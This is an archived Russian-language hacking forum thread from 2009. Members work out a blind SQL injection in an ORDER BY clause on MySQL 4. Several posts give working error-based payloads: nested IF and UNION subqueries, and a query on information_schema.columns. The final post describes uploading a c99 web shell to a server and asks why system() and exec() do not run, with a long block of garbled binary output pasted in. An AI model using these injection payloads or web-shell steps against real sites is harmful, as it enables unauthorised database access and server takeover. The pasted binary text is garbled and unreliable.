ANTICHAT — форум по информационной безопасности, OSINT и технологиям
ANTICHAT — русскоязычное сообщество по безопасности, OSINT и программированию.
Форум ранее работал на доменах antichat.ru, antichat.com и antichat.club,
и теперь снова доступен на новом адресе —
forum.antichat.xyz.
Форум восстановлен и продолжает развитие: доступны архивные темы, добавляются новые обсуждения и материалы.
⚠️ Старые аккаунты восстановить невозможно — необходимо зарегистрироваться заново.
 |
|

05.06.2009, 19:55
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме: 861008
Репутация:
58
|
|
суть вопроса.
запрос: select ... from ... where ... order by act_(вот после этого я могу подставить что нить в запрос)
в ответе можно веть по сортировке узнать как выполнился запрос но в том то и дело что таблица пустая из которой все это выводится.
union тоже не прокатит после order
версия mysql 4.x
какие есть соображения?
|
|
|

05.06.2009, 20:19
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Вот такие:
select ... from ... where ... order by (select+if(substring(version(),1,1)=4,1,(select 1 union select id)))
Пост
http://forum.antichat.ru/showpost.php?p=507099&postcount=10
Ну и вообще весь материал почитай
|
|
|

05.06.2009, 20:26
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме: 861008
Репутация:
58
|
|
2jokester ожидал))
вот только проблема что там префикс подставляется
запрос: select ... from ... where ... order by act_(вот после этого я могу подставить что нить в запрос)
т.е. в order никак не залезть. вот и проблема.
смысл понятен из того поста.
вот и в этой ситуации что можно добавить в запрос чтобы выполнить эти функции уже после ...order by act_id
Последний раз редактировалось j0ker13; 05.06.2009 в 20:30..
|
|
|

05.06.2009, 20:29
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от j0ker13
2jokester ожидал))
вот только проблема что там префикс подставляется
т.е. в order никак не залезть. вот и проблема.
Узнай имя колонки (подбери (насколько я понял, в твоём случае правильный линк (без инъекции) будет содержать имя столбца)), а дальше как в статье (п 3.4):
https://forum.antichat.ru/showpost.p...27&postcount=3
Последний раз редактировалось Grey; 05.06.2009 в 20:32..
|
|
|

05.06.2009, 20:38
|
|
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
Провел на форуме: 861008
Репутация:
58
|
|
2Grey случай у меня запущенный...
таблица пустая. непонять какая сортировка будет(
и select .. from .. where .. order by act_id (вот после этого можно что нить вставлять)
немного прояснилось но не до конца)
можно использовать несколько столбцов после order by(.. order by id,login, ..)
теперь такая конструкция:
select .. from .. where .. order by act_id,(select+if(2=1,1,(select 1 union select act_id)))
второе выражение тоже должен проверять но не появляется ошибки(
хотя: select .. from .. where .. order by act_id,1000 вызывает ошибку
ERROR:Could not query database Unknown column '1000' in 'order clause'
сидел думал...)
такая конструкция -
order by act_id,(select+if(2=1,1,1000)) начнет сортироватся и по 1000 столбцу и должна вылететь ошибка но ее нет(
в чем проблема?
Последний раз редактировалось j0ker13; 05.06.2009 в 22:32..
|
|
|

06.06.2009, 01:15
|
|
Познающий
Регистрация: 11.09.2008
Сообщений: 99
Провел на форуме: 2753780
Репутация:
585
|
|
j0ker13
Насколько я понимаю, если в параметр ORDER BY мы помещаем выражение, то нужно чтоб оно возвращало именно имя колонки, по которой должна происходить сортировка, а не ее номер.
|
|
|

06.06.2009, 01:44
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
order by act_id,if(substring(version(),1,1)=4,1,(select+col umn_name+from+information_schema.columns))
more than 1 row
Это пример, я понимаю что у тебя 4 ветка, но сути это не меняет и должно работать, надеюсь принцип понятен
|
|
|

06.06.2009, 01:52
|
|
AMA - Level 2
Регистрация: 10.06.2006
Сообщений: 1,113
Провел на форуме: 17668503
Репутация:
5826
|
|
Сообщение от jokester
order by act_id,if(substring(version(),1,1)=4,1,(select+col umn_name+from+information_schema.columns))
more than 1 row
Это пример, я понимаю что у тебя 4 ветка, но сути это не меняет и должно работать, надеюсь принцип понятен
Тогда лучше получать море ван роу, руками, как писал др. Зиро: (select 1 union select 2), а не выводом из таблицы.
|
|
|

06.06.2009, 01:55
|
|
Members of Antichat - Level 5
Регистрация: 18.02.2008
Сообщений: 1,136
Провел на форуме: 17621293
Репутация:
4915
|
|
Ну это без разницы конечно. Я просто на локалке как тестил, так и скопировал. Поэтому и написал, что пример. Главное что-бы принцип был понят 
|
|
|

06.06.2009, 02:03
|
|
Banned
Регистрация: 19.06.2006
Сообщений: 1,239
Провел на форуме: 1469161
Репутация:
142
|
|
Люди,большая проблема.Залил с99 шелл(не придираться,убью наф).И вот,выдало:
‹д=щsЪHЦ?OЄт?ј!•Њ=Дa;±10л;юЖЧ dІЩT*%¤TЦ`Ж›яэ{Ї[taЩЮљZ(ЫЁХпиwч!ьтE{дz·=bІЪmМ“ aдyv•}чµq§r`™3Ѕjojі (вЄSсШќW#А]PFІг2Ї3СLХљёХFs«QЙАt&›C_Ж±1ік» гiћОєо?йъ?'“‰$›SЧx’г·kвы¦ч мЁытEпобштўWЅ9эчQ ¶mo.П.Ї[
+опќџћ}nБ�9ЄlК»?ц/?#°«8–®чe§:ђVU,Эrv»NЇЭШmw$гАў :ЅгFЪp¤гЏ—СgCНлЎКОm.)П‘•ЫЊ Іг$АPР8§-ш3”CпP"Ґ3'”д§ЈУ“Ѕ�–cИъn\јЌ: wпач“лЛЏ‡?ьЅъ~уэf$фЙHуXљИч ТH„Sez§ЂCпи_ЅкбСБех^пфт‚АM† X[ѕykZ3.ќiж‹ёСd¬КTкаFЦ�л&А7Q‰є FP’{«™х{Ыr5OіМ–Ьw-Э'ЕL4Хµљхє}· }ЛAђVУѕ
©РЧС®° 6d0Уџ·
|ЂVGЊ¬СVЕw\„QЩ@цu4—±жj}MЧјik¤© *3wчAW?ъ‰9 -»Ќ‡ЌН->†E^A0Њ бР|ПіLтсЭe†ўЮM°|ГXР=rйdзy{ВL6 ЯВћЈ‘NyWы‹qO!QЋ„XHДє‡бЮЫІ Єjж°ЄіЃЧjрЃ„M%‡ЯэЎ™¶пЭ/Џ1ЉO1’<ц…чЏщkЃнћ<І yY6ЇЮсЧоємщщ( 9?=—йLyF‰Z6™/<AmаИ{F‚6Ьџп]џњ^T{—W-аv4м_цz—зAЫЩйЕQхC[хЧ?ъєҐЬ~ч-ЏЭ/с4ЗГЃе;sЮВ±vЗФИЭK@aµ·CпИ›ђ3 vБђќЎfV=Лћoи[h}F ¶bmВя`#ЦДЅ6©%
A¬ыпч›ыu4eKќѕхФ·ЮозщЏrLўоР{> `4PHB'P© еэxщBrЅ©О
3Хс»ШВQND87[e›rf,Йt‰Ё\$?д8Т“пуxPnb*§їuBЃP” m’јyзЭ,–њЛg¤ј ЎхТС#[%™/ў№МШ• юҐrБ¤\(µg‡б…ЕJћPЮ+зЭўЂ3Е3hщ" Сµњ$џ>°6ЗЌoy&RdnUАg кЁKEpc+ЫеН=s}®\p/VЛЇD ?Y_?hO<.™(ћѕъ+7щ[Pњb^KO?
(–KGР\з,’СJзи"±Їdњ)]DжЉІЛyЪ,gЉ¤У/‘>’[>ГЊд±"v./Џж .Ы”.µry)_Юљ¶_Ш_БHУW>і,eUoIЉ}…‹і щ?%Г@ЎІшб)ю©iщн–мІЊ-cлйqюdжЪвЋшx5ИњpЉ.�<Нџ¬?»’Щ<’k ‡ќ‚=thЧh‹ЅыЖм»ц.нД·kЮ?~9БvїЪm Ыб:QA±vo¬Ѓ7‘Цp{¶¬ЊX)5Ґ X;`¦wyі.A[†‘ГќКoІвuм‘™«ћм ™Ч©|ллІyЛсµэоХ‡«Ъ–ФђЮµk>± ?2яc-Ѓ‘©л1NqАЛ™fъwћKощT%З‡¦фNjlW лНmЧ“ыхwu© Їps~=џБяЙ&46 Qo57[х8їщљuьp·эоЫ»НVъЭCН•ы:Saа› ќ†r©K
h81 ЖМоЕеЕСLфI#щДЂЉаN«|ј>KБtyW!v№ fC …аАP·ъІо¶?d…уйНEHЅo’zЈ\»— ЗЗqґW–л!’‚Ѕ/YСYNOИ7yАЄ†Ґ†жё„лЦ\¦[Џ, ЩњЕкоµуєyьЖµЇS—9±Zd›‰}ЗІі ЃM…Ђ&“Й"(6:ЎфЭ%тјх!hfqОо”ЖK иUKYb;lLљ!Щ%СС6яќ`ћїUГЧј«ѕc t"hј“љЫpІЦЈ}XЫnH›НЧл±ћџ-ЯНnE‘’xmХjЫM©±Сђuьinuз/‰GЁВ sиu›[Тv7~FTо{3qўFњќ/,ѓ}M—C Ќ9=ёLv”Q]p|№бxV$ОLЅЮ)OэH Z‘јнX s]VКW!ЄYxцw_SnыЋп±тlч®`џPБ±е(+ „
9pл¦јо2eЧUYщ®?њБ№lbЫЄ’`c№э7 „ S«9LVљОЦ~©1O©ЩІлNФ_ЦwіЕNЂ…ђх И!ќЕUљ}zкжА2M¦Гў;xSґ—_Їч‘H wќЩќ–ДҐ5є
·щu`%| 1пk74ЌА.™¬гDЄj
В папке нету .htaccess(точнее есть,но он с .txt расширением,что не берётся в рассчёт).В disable_functions стоит no value,но вот функции system(),exec() не работают почему-то,но функция phpinfo() работает.Ветка РНР пятая.В чём может быть проблема ?
Права на фаил: -rw-r--r--.Не вижу проблемы,ибо шеллы запускаются и с r правами(
|
|
|
|
 |
|
|
Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
|
|
|
|